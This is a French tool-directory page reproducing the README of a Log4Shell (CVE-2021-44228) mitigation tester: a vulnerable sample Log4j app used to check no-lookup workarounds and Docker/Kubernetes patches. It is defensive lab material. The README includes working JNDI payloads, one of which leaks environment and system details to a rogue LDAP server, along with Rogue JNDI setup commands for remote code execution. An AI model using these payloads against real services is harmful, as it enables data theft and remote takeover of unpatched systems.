Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4shell-mitigation-tester — Testez et validez les approches d’atténuation de Log4Shell (CVE-2021-44228) avec un exemple d’application Log4j vulnérable, incluant l’exploitation JNDI, les contournements par variables d’environnement et le correctif sous Docker/Kubernetes. | Kitploit
Outils/GitHubGitHub/lhotari/log4shell-mitigation-tester
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHublhotari/log4shell-mitigation-tester

log4shell-mitigation-tester

Testez et validez les approches d’atténuation de Log4Shell (CVE-2021-44228) avec un exemple d’application Log4j vulnérable, incluant l’exploitation JNDI, les contournements par variables d’environnement et le correctif sous Docker/Kubernetes.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1613il y a 4 ansPas encore vérifié

Testeur de mitigation Log4Shell

Ceci est un exemple d'application utilisant Log4j 2.14.1.

code source : App.java

L'objectif est de pouvoir tester différentes approches d'atténuation. Ces approches sont également mentionnées dans Réponse de Microsoft à CVE-2021-44228 Apache Log4j 2.

Exemple d'utilisation

Les exemples sont prévus pour un shell bash

Construire l'application

root@kitploit:~
./gradlew assemble

Exécuter sans contournement

root@kitploit:~
java -jar app/build/libs/app-all.jar

Tester la fonctionnalité de lookup de message en passant une chaîne en ligne de commande :

root@kitploit:~
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

Tester le contournement avec la propriété système -Dlog4j2.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469186875608875011

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

Tester le contournement avec la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS=true, https://twitter.com/brunoborges/status/1469462412679991300

root@kitploit:~
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

Tester le contournement avec la variable d'environnement JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469426918550245377

root@kitploit:~
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

Tester la solution de contournement log4j2.component.properties dans le classpath :

root@kitploit:~
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

Voir pour croire - exploiter cet exemple d'application

Lorsque vous exécutez l'application, vous verrez la vulnérabilité en action :

root@kitploit:~
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

Vous pouvez également déboguer la solution et placer un point d'arrêt dans le code vulnérable, situé à l'adresse https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

Placer le débogueur dans la classe org.apache.logging.log4j.core.pattern.MessagePatternConverter à la ligne 128.

Lorsque la mesure d'atténuation est en place, le débogueur ne doit jamais entrer dans le bloc de code. L'appel LDAP ne doit pas non plus être tenté :

root@kitploit:~
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

Exploitation avec Rogue JNDI

La démonstration de la fuite d'informations dépend des modifications de https://github.com/veracode-research/rogue-jndi/pull/11

dans un terminal

root@kitploit:~
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

dans un autre terminal :

root@kitploit:~
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

Solutions d'atténuation Kubernetes / docker pour Log4Shell

Il est nécessaire d'atténuer Log4Shell immédiatement sans attendre une nouvelle version du logiciel. Voici quelques solutions pour le faire rapidement et efficacement.

Patcher les images docker existantes avec une fine surcouche qui définit la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS=true

C'est une solution générique : https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

Exemple de correction d'images docker existantes avec les fichiers jar Log4j 2.15.0

Ce n'est pas une solution générique, l'exemple provient de apache/pulsar : https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

Patcher les déploiements k8s avec la variable d'environnement LOG4J_FORMAT_MSG_NO_LOOKUPS=true

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

Télécharger l’outil